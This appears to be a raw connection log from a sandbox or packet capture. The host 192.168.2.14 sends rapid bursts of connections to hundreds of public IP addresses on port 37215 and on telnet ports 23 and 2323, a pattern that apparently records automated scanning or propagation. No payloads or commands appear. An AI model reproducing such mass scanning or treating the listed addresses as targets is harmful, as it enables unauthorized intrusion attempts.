Oct 8, 2024 20:34:48.549804926 CEST	48169	37215	192.168.2.14	197.198.101.215
Oct 8, 2024 20:34:48.549813032 CEST	48169	37215	192.168.2.14	41.37.219.103
Oct 8, 2024 20:34:48.549825907 CEST	48169	37215	192.168.2.14	41.28.204.65
Oct 8, 2024 20:34:48.549837112 CEST	48169	37215	192.168.2.14	197.248.137.31
Oct 8, 2024 20:34:48.549844027 CEST	48169	37215	192.168.2.14	197.31.159.192
Oct 8, 2024 20:34:48.549844027 CEST	48169	37215	192.168.2.14	197.59.181.200
Oct 8, 2024 20:34:48.549851894 CEST	48169	37215	192.168.2.14	41.179.154.248
Oct 8, 2024 20:34:48.549851894 CEST	48169	37215	192.168.2.14	156.242.250.152
Oct 8, 2024 20:34:48.549855947 CEST	48169	37215	192.168.2.14	156.244.194.145
Oct 8, 2024 20:34:48.549870968 CEST	48169	37215	192.168.2.14	41.147.21.246
Oct 8, 2024 20:34:48.549880981 CEST	48169	37215	192.168.2.14	41.106.147.118
Oct 8, 2024 20:34:48.549887896 CEST	48169	37215	192.168.2.14	197.124.42.54
Oct 8, 2024 20:34:48.549900055 CEST	48169	37215	192.168.2.14	197.133.71.224
Oct 8, 2024 20:34:48.549905062 CEST	48169	37215	192.168.2.14	197.53.212.78
Oct 8, 2024 20:34:48.549925089 CEST	48169	37215	192.168.2.14	41.238.75.231
Oct 8, 2024 20:34:48.549925089 CEST	48169	37215	192.168.2.14	156.130.113.117
Oct 8, 2024 20:34:48.549927950 CEST	48169	37215	192.168.2.14	197.161.216.106
Oct 8, 2024 20:34:48.549932957 CEST	48169	37215	192.168.2.14	156.160.130.46
Oct 8, 2024 20:34:48.549941063 CEST	48169	37215	192.168.2.14	197.189.82.247
Oct 8, 2024 20:34:48.549941063 CEST	48169	37215	192.168.2.14	41.122.146.23
Oct 8, 2024 20:34:48.549943924 CEST	48169	37215	192.168.2.14	197.241.228.226
Oct 8, 2024 20:34:48.549949884 CEST	48169	37215	192.168.2.14	197.223.43.34
Oct 8, 2024 20:34:48.549952984 CEST	48169	37215	192.168.2.14	197.96.29.248
Oct 8, 2024 20:34:48.549952984 CEST	48169	37215	192.168.2.14	41.34.182.196
Oct 8, 2024 20:34:48.549964905 CEST	48169	37215	192.168.2.14	156.147.143.111
Oct 8, 2024 20:34:48.549966097 CEST	48169	37215	192.168.2.14	156.167.96.115
Oct 8, 2024 20:34:48.549978018 CEST	48169	37215	192.168.2.14	156.207.6.117
Oct 8, 2024 20:34:48.549979925 CEST	48169	37215	192.168.2.14	156.23.133.243
Oct 8, 2024 20:34:48.549994946 CEST	48169	37215	192.168.2.14	41.61.20.239
Oct 8, 2024 20:34:48.550010920 CEST	48169	37215	192.168.2.14	197.144.226.50
Oct 8, 2024 20:34:48.550010920 CEST	48169	37215	192.168.2.14	197.189.207.95
Oct 8, 2024 20:34:48.550014973 CEST	48169	37215	192.168.2.14	197.148.108.224
Oct 8, 2024 20:34:48.550024986 CEST	48169	37215	192.168.2.14	197.20.12.138
Oct 8, 2024 20:34:48.550031900 CEST	48169	37215	192.168.2.14	197.174.160.237
Oct 8, 2024 20:34:48.550031900 CEST	48169	37215	192.168.2.14	41.138.86.204
Oct 8, 2024 20:34:48.550041914 CEST	48169	37215	192.168.2.14	156.21.51.65
Oct 8, 2024 20:34:48.550046921 CEST	48169	37215	192.168.2.14	41.250.138.224
Oct 8, 2024 20:34:48.550050020 CEST	48169	37215	192.168.2.14	197.87.245.42
Oct 8, 2024 20:34:48.550061941 CEST	48169	37215	192.168.2.14	156.53.174.192
Oct 8, 2024 20:34:48.550061941 CEST	48169	37215	192.168.2.14	41.159.32.92
Oct 8, 2024 20:34:48.550070047 CEST	48169	37215	192.168.2.14	41.13.87.184
Oct 8, 2024 20:34:48.550081968 CEST	48169	37215	192.168.2.14	197.174.76.117
Oct 8, 2024 20:34:48.550081968 CEST	48169	37215	192.168.2.14	41.251.227.116
Oct 8, 2024 20:34:48.550096035 CEST	48169	37215	192.168.2.14	156.68.202.199
Oct 8, 2024 20:34:48.550101042 CEST	48169	37215	192.168.2.14	156.73.181.147
Oct 8, 2024 20:34:48.550111055 CEST	48169	37215	192.168.2.14	156.61.163.107
Oct 8, 2024 20:34:48.550113916 CEST	48169	37215	192.168.2.14	156.255.46.22
Oct 8, 2024 20:34:48.550117970 CEST	48169	37215	192.168.2.14	197.100.245.92
Oct 8, 2024 20:34:48.550127029 CEST	48169	37215	192.168.2.14	197.48.32.67
Oct 8, 2024 20:34:48.550132990 CEST	48169	37215	192.168.2.14	197.29.104.34
Oct 8, 2024 20:34:48.550132990 CEST	48169	37215	192.168.2.14	41.230.63.208
Oct 8, 2024 20:34:48.550137043 CEST	48169	37215	192.168.2.14	41.114.61.16
Oct 8, 2024 20:34:48.550157070 CEST	48169	37215	192.168.2.14	156.238.165.122
Oct 8, 2024 20:34:48.550169945 CEST	48169	37215	192.168.2.14	41.20.165.229
Oct 8, 2024 20:34:48.550169945 CEST	48169	37215	192.168.2.14	41.181.181.19
Oct 8, 2024 20:34:48.550173044 CEST	48169	37215	192.168.2.14	197.126.219.194
Oct 8, 2024 20:34:48.550173044 CEST	48169	37215	192.168.2.14	41.105.246.142
Oct 8, 2024 20:34:48.550178051 CEST	48169	37215	192.168.2.14	41.2.187.189
Oct 8, 2024 20:34:48.550189972 CEST	48169	37215	192.168.2.14	41.218.252.210
Oct 8, 2024 20:34:48.550189972 CEST	48169	37215	192.168.2.14	41.112.20.66
Oct 8, 2024 20:34:48.550190926 CEST	48169	37215	192.168.2.14	41.250.13.200
Oct 8, 2024 20:34:48.550208092 CEST	48169	37215	192.168.2.14	197.210.15.168
Oct 8, 2024 20:34:48.550215006 CEST	48169	37215	192.168.2.14	41.67.227.178
Oct 8, 2024 20:34:48.550225973 CEST	48169	37215	192.168.2.14	156.145.244.7
Oct 8, 2024 20:34:48.550225973 CEST	48169	37215	192.168.2.14	41.146.101.83
Oct 8, 2024 20:34:48.550236940 CEST	48169	37215	192.168.2.14	41.234.31.168
Oct 8, 2024 20:34:48.550255060 CEST	48169	37215	192.168.2.14	41.159.184.134
Oct 8, 2024 20:34:48.550255060 CEST	48169	37215	192.168.2.14	156.62.239.206
Oct 8, 2024 20:34:48.550255060 CEST	48169	37215	192.168.2.14	41.164.150.247
Oct 8, 2024 20:34:48.550256968 CEST	48169	37215	192.168.2.14	156.212.195.250
Oct 8, 2024 20:34:48.550267935 CEST	48169	37215	192.168.2.14	41.113.123.98
Oct 8, 2024 20:34:48.550273895 CEST	48169	37215	192.168.2.14	197.13.14.125
Oct 8, 2024 20:34:48.550282955 CEST	48169	37215	192.168.2.14	197.35.209.197
Oct 8, 2024 20:34:48.550287962 CEST	48169	37215	192.168.2.14	41.112.7.75
Oct 8, 2024 20:34:48.550287962 CEST	48169	37215	192.168.2.14	197.77.168.137
Oct 8, 2024 20:34:48.550293922 CEST	48169	37215	192.168.2.14	41.180.8.108
Oct 8, 2024 20:34:48.550311089 CEST	48169	37215	192.168.2.14	156.134.179.252
Oct 8, 2024 20:34:48.550317049 CEST	48169	37215	192.168.2.14	197.123.60.131
Oct 8, 2024 20:34:48.550321102 CEST	48169	37215	192.168.2.14	41.176.239.74
Oct 8, 2024 20:34:48.550334930 CEST	48169	37215	192.168.2.14	197.39.37.73
Oct 8, 2024 20:34:48.550334930 CEST	48169	37215	192.168.2.14	197.97.52.230
Oct 8, 2024 20:34:48.550338030 CEST	48169	37215	192.168.2.14	156.220.202.25
Oct 8, 2024 20:34:48.550339937 CEST	48169	37215	192.168.2.14	197.243.55.108
Oct 8, 2024 20:34:48.550360918 CEST	48169	37215	192.168.2.14	197.137.1.250
Oct 8, 2024 20:34:48.550365925 CEST	48169	37215	192.168.2.14	156.23.48.164
Oct 8, 2024 20:34:48.550368071 CEST	48169	37215	192.168.2.14	41.43.242.181
Oct 8, 2024 20:34:48.550368071 CEST	48169	37215	192.168.2.14	197.80.146.96
Oct 8, 2024 20:34:48.550368071 CEST	48169	37215	192.168.2.14	197.178.243.108
Oct 8, 2024 20:34:48.550374031 CEST	48169	37215	192.168.2.14	197.15.9.146
Oct 8, 2024 20:34:48.550375938 CEST	48169	37215	192.168.2.14	156.184.232.180
Oct 8, 2024 20:34:48.550379992 CEST	48169	37215	192.168.2.14	197.49.36.224
Oct 8, 2024 20:34:48.550390959 CEST	48169	37215	192.168.2.14	156.53.92.201
Oct 8, 2024 20:34:48.550405979 CEST	48169	37215	192.168.2.14	41.33.248.165
Oct 8, 2024 20:34:48.550410986 CEST	48169	37215	192.168.2.14	156.78.104.162
Oct 8, 2024 20:34:48.550432920 CEST	48169	37215	192.168.2.14	41.172.103.4
Oct 8, 2024 20:34:48.550432920 CEST	48169	37215	192.168.2.14	156.193.240.138
Oct 8, 2024 20:34:48.550432920 CEST	48169	37215	192.168.2.14	41.197.244.161
Oct 8, 2024 20:34:48.550432920 CEST	48169	37215	192.168.2.14	197.249.60.159
Oct 8, 2024 20:34:48.550441980 CEST	48169	37215	192.168.2.14	197.238.189.74
Oct 8, 2024 20:34:48.550441980 CEST	48169	37215	192.168.2.14	156.109.71.194
Oct 8, 2024 20:34:48.550452948 CEST	48169	37215	192.168.2.14	41.89.206.219
Oct 8, 2024 20:34:48.550452948 CEST	48169	37215	192.168.2.14	197.104.173.69
Oct 8, 2024 20:34:48.550453901 CEST	48169	37215	192.168.2.14	156.59.87.32
Oct 8, 2024 20:34:48.550456047 CEST	48169	37215	192.168.2.14	41.14.193.54
Oct 8, 2024 20:34:48.550473928 CEST	48169	37215	192.168.2.14	156.254.172.222
Oct 8, 2024 20:34:48.550473928 CEST	48169	37215	192.168.2.14	156.64.92.105
Oct 8, 2024 20:34:48.550473928 CEST	48169	37215	192.168.2.14	197.42.29.47
Oct 8, 2024 20:34:48.550492048 CEST	48169	37215	192.168.2.14	41.30.171.3
Oct 8, 2024 20:34:48.550493956 CEST	48169	37215	192.168.2.14	156.199.237.139
Oct 8, 2024 20:34:48.550494909 CEST	48169	37215	192.168.2.14	197.198.213.48
Oct 8, 2024 20:34:48.550503016 CEST	48169	37215	192.168.2.14	156.182.100.188
Oct 8, 2024 20:34:48.550508976 CEST	48169	37215	192.168.2.14	156.77.247.243
Oct 8, 2024 20:34:48.550519943 CEST	48169	37215	192.168.2.14	41.70.225.191
Oct 8, 2024 20:34:48.550520897 CEST	48169	37215	192.168.2.14	156.213.98.14
Oct 8, 2024 20:34:48.550520897 CEST	48169	37215	192.168.2.14	156.165.152.222
Oct 8, 2024 20:34:48.550532103 CEST	48169	37215	192.168.2.14	197.115.172.93
Oct 8, 2024 20:34:48.550544024 CEST	48169	37215	192.168.2.14	197.205.94.23
Oct 8, 2024 20:34:48.550544977 CEST	48169	37215	192.168.2.14	197.71.191.173
Oct 8, 2024 20:34:48.550551891 CEST	48169	37215	192.168.2.14	41.134.118.253
Oct 8, 2024 20:34:48.550558090 CEST	48169	37215	192.168.2.14	197.67.248.140
Oct 8, 2024 20:34:48.550570011 CEST	48169	37215	192.168.2.14	156.69.243.243
Oct 8, 2024 20:34:48.550575018 CEST	48169	37215	192.168.2.14	41.43.173.15
Oct 8, 2024 20:34:48.550579071 CEST	48169	37215	192.168.2.14	156.28.196.47
Oct 8, 2024 20:34:48.550586939 CEST	48169	37215	192.168.2.14	197.128.159.217
Oct 8, 2024 20:34:48.550586939 CEST	48169	37215	192.168.2.14	156.49.234.9
Oct 8, 2024 20:34:48.550605059 CEST	48169	37215	192.168.2.14	156.128.121.87
Oct 8, 2024 20:34:48.550606012 CEST	48169	37215	192.168.2.14	197.133.166.146
Oct 8, 2024 20:34:48.550606012 CEST	48169	37215	192.168.2.14	197.20.113.33
Oct 8, 2024 20:34:48.550621033 CEST	48169	37215	192.168.2.14	41.45.18.164
Oct 8, 2024 20:34:48.550621033 CEST	48169	37215	192.168.2.14	156.202.202.33
Oct 8, 2024 20:34:48.550625086 CEST	48169	37215	192.168.2.14	41.168.90.210
Oct 8, 2024 20:34:48.550632954 CEST	48169	37215	192.168.2.14	156.145.173.155
Oct 8, 2024 20:34:48.550637007 CEST	48169	37215	192.168.2.14	156.155.51.245
Oct 8, 2024 20:34:48.550651073 CEST	48169	37215	192.168.2.14	41.68.233.240
Oct 8, 2024 20:34:48.550652027 CEST	48169	37215	192.168.2.14	197.207.57.63
Oct 8, 2024 20:34:48.550653934 CEST	48169	37215	192.168.2.14	156.128.106.124
Oct 8, 2024 20:34:48.550664902 CEST	48169	37215	192.168.2.14	41.70.248.21
Oct 8, 2024 20:34:48.550666094 CEST	48169	37215	192.168.2.14	197.158.235.40
Oct 8, 2024 20:34:48.550673008 CEST	48169	37215	192.168.2.14	41.41.241.127
Oct 8, 2024 20:34:48.550676107 CEST	48169	37215	192.168.2.14	197.59.13.88
Oct 8, 2024 20:34:48.550681114 CEST	48169	37215	192.168.2.14	197.237.157.204
Oct 8, 2024 20:34:48.550694942 CEST	48169	37215	192.168.2.14	197.90.12.2
Oct 8, 2024 20:34:48.550702095 CEST	48169	37215	192.168.2.14	156.217.194.131
Oct 8, 2024 20:34:48.550714016 CEST	48169	37215	192.168.2.14	197.245.105.16
Oct 8, 2024 20:34:48.550718069 CEST	48169	37215	192.168.2.14	41.175.64.147
Oct 8, 2024 20:34:48.550733089 CEST	48169	37215	192.168.2.14	41.59.173.22
Oct 8, 2024 20:34:48.550738096 CEST	48169	37215	192.168.2.14	41.107.135.183
Oct 8, 2024 20:34:48.550750971 CEST	48169	37215	192.168.2.14	41.38.246.103
Oct 8, 2024 20:34:48.550750971 CEST	48169	37215	192.168.2.14	41.119.93.114
Oct 8, 2024 20:34:48.550753117 CEST	48169	37215	192.168.2.14	156.255.139.163
Oct 8, 2024 20:34:48.550770044 CEST	48169	37215	192.168.2.14	197.181.207.189
Oct 8, 2024 20:34:48.550770044 CEST	48169	37215	192.168.2.14	156.163.237.48
Oct 8, 2024 20:34:48.550770998 CEST	48169	37215	192.168.2.14	197.182.50.138
Oct 8, 2024 20:34:48.550770998 CEST	48169	37215	192.168.2.14	197.16.249.232
Oct 8, 2024 20:34:48.550770998 CEST	48169	37215	192.168.2.14	156.34.4.172
Oct 8, 2024 20:34:48.550779104 CEST	48169	37215	192.168.2.14	41.91.174.114
Oct 8, 2024 20:34:48.550792933 CEST	48169	37215	192.168.2.14	41.225.155.62
Oct 8, 2024 20:34:48.550796986 CEST	48169	37215	192.168.2.14	156.62.80.232
Oct 8, 2024 20:34:48.550801992 CEST	48169	37215	192.168.2.14	197.70.140.164
Oct 8, 2024 20:34:48.550802946 CEST	48169	37215	192.168.2.14	197.148.86.177
Oct 8, 2024 20:34:48.550808907 CEST	48169	37215	192.168.2.14	41.255.65.98
Oct 8, 2024 20:34:48.550812960 CEST	48169	37215	192.168.2.14	197.4.216.19
Oct 8, 2024 20:34:48.550820112 CEST	48169	37215	192.168.2.14	41.26.10.67
Oct 8, 2024 20:34:48.550831079 CEST	48169	37215	192.168.2.14	197.166.145.97
Oct 8, 2024 20:34:48.550837994 CEST	48169	37215	192.168.2.14	41.97.3.238
Oct 8, 2024 20:34:48.550838947 CEST	48169	37215	192.168.2.14	197.186.229.131
Oct 8, 2024 20:34:48.550854921 CEST	48169	37215	192.168.2.14	156.125.124.89
Oct 8, 2024 20:34:48.550857067 CEST	48169	37215	192.168.2.14	41.173.235.121
Oct 8, 2024 20:34:48.550857067 CEST	48169	37215	192.168.2.14	197.143.49.5
Oct 8, 2024 20:34:48.550859928 CEST	48169	37215	192.168.2.14	156.42.6.97
Oct 8, 2024 20:34:48.550863028 CEST	48169	37215	192.168.2.14	197.23.109.70
Oct 8, 2024 20:34:48.550872087 CEST	48169	37215	192.168.2.14	197.119.42.195
Oct 8, 2024 20:34:48.550872087 CEST	48169	37215	192.168.2.14	41.160.5.209
Oct 8, 2024 20:34:48.550879955 CEST	48169	37215	192.168.2.14	197.100.98.24
Oct 8, 2024 20:34:48.550879955 CEST	48169	37215	192.168.2.14	197.235.17.186
Oct 8, 2024 20:34:48.550888062 CEST	48169	37215	192.168.2.14	156.169.193.141
Oct 8, 2024 20:34:48.550930023 CEST	58632	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:48.551192999 CEST	2323	36176	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:48.555210114 CEST	37215	58440	197.138.131.243	192.168.2.14
Oct 8, 2024 20:34:48.555253983 CEST	58440	37215	192.168.2.14	197.138.131.243
Oct 8, 2024 20:34:48.555414915 CEST	37215	36876	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:48.556533098 CEST	37215	36876	41.121.20.163	192.168.2.14
Oct 8, 2024 20:34:48.557096958 CEST	37215	58632	197.118.22.201	192.168.2.14
Oct 8, 2024 20:34:48.557138920 CEST	58632	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:48.557161093 CEST	36876	37215	192.168.2.14	41.121.20.163
Oct 8, 2024 20:34:49.242485046 CEST	23	46088	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:49.242770910 CEST	46088	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:49.243237019 CEST	46146	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:49.247948885 CEST	23	46088	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:49.248979092 CEST	23	46146	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:49.249176979 CEST	46146	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:49.375695944 CEST	56526	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:49.375704050 CEST	50172	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:49.375709057 CEST	49686	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:49.375709057 CEST	36068	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:49.375709057 CEST	59930	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:49.375714064 CEST	52108	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:49.375715017 CEST	53158	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:49.375727892 CEST	56664	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:49.375734091 CEST	40098	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:49.375747919 CEST	49232	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:49.375777006 CEST	40330	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:49.380897999 CEST	37215	49686	41.90.124.245	192.168.2.14
Oct 8, 2024 20:34:49.380930901 CEST	37215	56526	156.144.221.185	192.168.2.14
Oct 8, 2024 20:34:49.380961895 CEST	37215	50172	197.90.154.72	192.168.2.14
Oct 8, 2024 20:34:49.381010056 CEST	49686	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:49.381011009 CEST	50172	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:49.381011963 CEST	56526	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:49.381114960 CEST	50172	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:49.381144047 CEST	49686	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:49.381155014 CEST	56526	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:49.381709099 CEST	37215	36068	41.147.107.132	192.168.2.14
Oct 8, 2024 20:34:49.381740093 CEST	37215	56664	156.24.184.74	192.168.2.14
Oct 8, 2024 20:34:49.381762981 CEST	36068	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:49.381769896 CEST	37215	52108	156.9.1.62	192.168.2.14
Oct 8, 2024 20:34:49.381778002 CEST	56664	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:49.381799936 CEST	37215	59930	41.185.187.78	192.168.2.14
Oct 8, 2024 20:34:49.381804943 CEST	36068	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:49.381812096 CEST	56664	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:49.381829977 CEST	37215	40098	156.97.3.108	192.168.2.14
Oct 8, 2024 20:34:49.381839037 CEST	52108	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:49.381844044 CEST	59930	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:49.381860018 CEST	37215	53158	156.74.174.9	192.168.2.14
Oct 8, 2024 20:34:49.381865978 CEST	52108	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:49.381867886 CEST	40098	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:49.381901026 CEST	40098	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:49.381906033 CEST	53158	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:49.381906033 CEST	59930	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:49.381953955 CEST	53158	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:49.382155895 CEST	37215	49232	41.176.3.251	192.168.2.14
Oct 8, 2024 20:34:49.382185936 CEST	37215	40330	41.119.100.224	192.168.2.14
Oct 8, 2024 20:34:49.382211924 CEST	49232	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:49.382232904 CEST	49232	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:49.382287979 CEST	40330	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:49.382288933 CEST	40330	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:49.386725903 CEST	37215	49686	41.90.124.245	192.168.2.14
Oct 8, 2024 20:34:49.386787891 CEST	49686	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:49.387659073 CEST	37215	56526	156.144.221.185	192.168.2.14
Oct 8, 2024 20:34:49.387728930 CEST	56526	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:49.388022900 CEST	37215	50172	197.90.154.72	192.168.2.14
Oct 8, 2024 20:34:49.388068914 CEST	50172	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:49.388712883 CEST	37215	36068	41.147.107.132	192.168.2.14
Oct 8, 2024 20:34:49.388751030 CEST	36068	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:49.389806986 CEST	37215	56664	156.24.184.74	192.168.2.14
Oct 8, 2024 20:34:49.389846087 CEST	56664	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:49.389890909 CEST	37215	52108	156.9.1.62	192.168.2.14
Oct 8, 2024 20:34:49.389904022 CEST	37215	59930	41.185.187.78	192.168.2.14
Oct 8, 2024 20:34:49.389930010 CEST	52108	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:49.389977932 CEST	59930	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:49.390250921 CEST	37215	40098	156.97.3.108	192.168.2.14
Oct 8, 2024 20:34:49.390290976 CEST	40098	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:49.392312050 CEST	37215	53158	156.74.174.9	192.168.2.14
Oct 8, 2024 20:34:49.392326117 CEST	37215	49232	41.176.3.251	192.168.2.14
Oct 8, 2024 20:34:49.392339945 CEST	37215	40330	41.119.100.224	192.168.2.14
Oct 8, 2024 20:34:49.392369032 CEST	53158	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:49.392369986 CEST	49232	37215	192.168.2.14	41.176.3.251
Oct 8, 2024 20:34:49.392370939 CEST	40330	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:49.407661915 CEST	58192	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:49.407695055 CEST	55506	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:49.412700891 CEST	37215	58192	41.81.245.124	192.168.2.14
Oct 8, 2024 20:34:49.412765980 CEST	37215	55506	156.211.13.119	192.168.2.14
Oct 8, 2024 20:34:49.412781954 CEST	58192	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:49.412831068 CEST	55506	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:49.412889004 CEST	58192	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:49.412967920 CEST	55506	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:49.418786049 CEST	37215	58192	41.81.245.124	192.168.2.14
Oct 8, 2024 20:34:49.418842077 CEST	58192	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:49.419126034 CEST	37215	55506	156.211.13.119	192.168.2.14
Oct 8, 2024 20:34:49.419259071 CEST	55506	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:49.439630985 CEST	50286	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:49.439687967 CEST	52134	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:49.446702003 CEST	37215	50286	197.71.89.68	192.168.2.14
Oct 8, 2024 20:34:49.446822882 CEST	50286	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:49.446850061 CEST	50286	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:49.448034048 CEST	37215	52134	156.222.230.128	192.168.2.14
Oct 8, 2024 20:34:49.448113918 CEST	52134	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:49.448113918 CEST	52134	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:49.454988956 CEST	37215	50286	197.71.89.68	192.168.2.14
Oct 8, 2024 20:34:49.455044031 CEST	50286	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:49.458879948 CEST	37215	52134	156.222.230.128	192.168.2.14
Oct 8, 2024 20:34:49.458942890 CEST	52134	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:49.471621037 CEST	52484	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:49.478931904 CEST	37215	52484	197.153.204.158	192.168.2.14
Oct 8, 2024 20:34:49.478987932 CEST	52484	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:49.479018927 CEST	52484	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:49.486926079 CEST	37215	52484	197.153.204.158	192.168.2.14
Oct 8, 2024 20:34:49.486974001 CEST	52484	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:49.567660093 CEST	36234	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:49.572964907 CEST	2323	36234	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:49.573071003 CEST	36234	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:49.573206902 CEST	48168	2323	192.168.2.14	190.109.152.246
Oct 8, 2024 20:34:49.573225021 CEST	48168	23	192.168.2.14	92.207.252.65
Oct 8, 2024 20:34:49.573227882 CEST	48168	23	192.168.2.14	24.218.145.181
Oct 8, 2024 20:34:49.573227882 CEST	48168	23	192.168.2.14	216.95.254.75
Oct 8, 2024 20:34:49.573261023 CEST	48168	23	192.168.2.14	91.25.197.26
Oct 8, 2024 20:34:49.573261023 CEST	48168	23	192.168.2.14	110.167.190.152
Oct 8, 2024 20:34:49.573261976 CEST	48168	23	192.168.2.14	149.181.196.203
Oct 8, 2024 20:34:49.573265076 CEST	48168	23	192.168.2.14	172.146.65.17
Oct 8, 2024 20:34:49.573265076 CEST	48168	23	192.168.2.14	111.123.219.52
Oct 8, 2024 20:34:49.573265076 CEST	48168	23	192.168.2.14	104.240.244.215
Oct 8, 2024 20:34:49.573265076 CEST	48168	23	192.168.2.14	39.53.141.107
Oct 8, 2024 20:34:49.573266983 CEST	48168	23	192.168.2.14	144.21.18.3
Oct 8, 2024 20:34:49.573267937 CEST	48168	23	192.168.2.14	5.228.138.173
Oct 8, 2024 20:34:49.573276997 CEST	48168	23	192.168.2.14	221.222.229.178
Oct 8, 2024 20:34:49.573281050 CEST	48168	23	192.168.2.14	86.49.116.29
Oct 8, 2024 20:34:49.573281050 CEST	48168	23	192.168.2.14	80.64.19.109
Oct 8, 2024 20:34:49.573286057 CEST	48168	23	192.168.2.14	80.79.12.18
Oct 8, 2024 20:34:49.573303938 CEST	48168	2323	192.168.2.14	176.209.122.18
Oct 8, 2024 20:34:49.573307037 CEST	48168	23	192.168.2.14	100.240.111.95
Oct 8, 2024 20:34:49.573312044 CEST	48168	23	192.168.2.14	176.228.65.194
Oct 8, 2024 20:34:49.573312998 CEST	48168	23	192.168.2.14	189.80.92.242
Oct 8, 2024 20:34:49.573312998 CEST	48168	23	192.168.2.14	105.196.141.39
Oct 8, 2024 20:34:49.573312998 CEST	48168	23	192.168.2.14	58.77.29.245
Oct 8, 2024 20:34:49.573324919 CEST	48168	23	192.168.2.14	35.249.206.112
Oct 8, 2024 20:34:49.573327065 CEST	48168	23	192.168.2.14	39.20.144.54
Oct 8, 2024 20:34:49.573333025 CEST	48168	2323	192.168.2.14	221.234.50.90
Oct 8, 2024 20:34:49.573333025 CEST	48168	23	192.168.2.14	82.207.226.149
Oct 8, 2024 20:34:49.573349953 CEST	48168	23	192.168.2.14	158.72.173.121
Oct 8, 2024 20:34:49.573349953 CEST	48168	2323	192.168.2.14	63.245.120.50
Oct 8, 2024 20:34:49.573350906 CEST	48168	23	192.168.2.14	216.139.200.3
Oct 8, 2024 20:34:49.573352098 CEST	48168	23	192.168.2.14	175.120.234.17
Oct 8, 2024 20:34:49.573352098 CEST	48168	23	192.168.2.14	192.47.169.160
Oct 8, 2024 20:34:49.573359013 CEST	48168	23	192.168.2.14	181.25.215.65
Oct 8, 2024 20:34:49.573359013 CEST	48168	23	192.168.2.14	19.14.11.148
Oct 8, 2024 20:34:49.573364019 CEST	48168	23	192.168.2.14	133.50.239.206
Oct 8, 2024 20:34:49.573370934 CEST	48168	23	192.168.2.14	180.56.240.180
